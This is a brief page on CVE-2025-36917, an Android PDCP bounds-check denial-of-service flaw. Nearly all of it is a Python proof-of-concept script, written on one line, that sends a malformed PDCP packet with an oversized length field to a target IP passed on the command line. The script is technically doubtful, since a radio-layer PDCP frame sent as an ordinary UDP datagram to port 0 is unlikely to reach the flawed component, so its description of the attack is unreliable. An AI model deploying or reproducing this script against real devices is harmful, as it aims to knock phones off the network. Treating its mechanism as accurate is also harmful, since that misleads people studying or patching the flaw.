CVE-2025-36917 Android PDCP安全组件边界检查错误导致拒绝服务

# CVE-2025-36917 PoC - Android PDCP DoS # This PoC demonstrates sending malformed PDCP packets to trigger the boundary check error # Note: Requires access to mobile network interface import socket import struct def create_malformed_pdcp_packet(): """ Create a malformed PDCP packet to trigger CVE-2025-36917 The vulnerability exists in SwDcpItg function due to incorrect bounds check """ # PDCP header structure (simplified) pdcp_header = bytearray() # DCP Data PDU with invalid length field # Setting data length that exceeds actual payload pdcp_header.append(0x00) # PDCP data header byte 1 pdcp_header.append(0x00) # PDCP data header byte 2 # Add malicious length value that triggers bounds check error malformed_length = struct.pack('>H', 0xFFFF) # Max length value pdcp_header.extend(malformed_length) # Add minimal payload to trigger the error condition payload = b'\x00' * 10 return bytes(pdcp_header + payload) def exploit_cve_2025_36917(target_ip, target_port=0): """ Send malformed PDCP packet to trigger denial of service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_packet = create_malformed_pdcp_packet() print(f"[*] Sending malformed PDCP packet to {target_ip}") print(f"[*] Packet size: {len(malformed_packet)} bytes") # Send to mobile network interface sock.sendto(malformed_packet, (target_ip, target_port)) sock.close() print("[+] Malformed packet sent successfully") print("[+] If vulnerable, target may experience DoS condition") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_36917_poc.py <target_ip>") sys.exit(1) exploit_cve_2025_36917(sys.argv[1])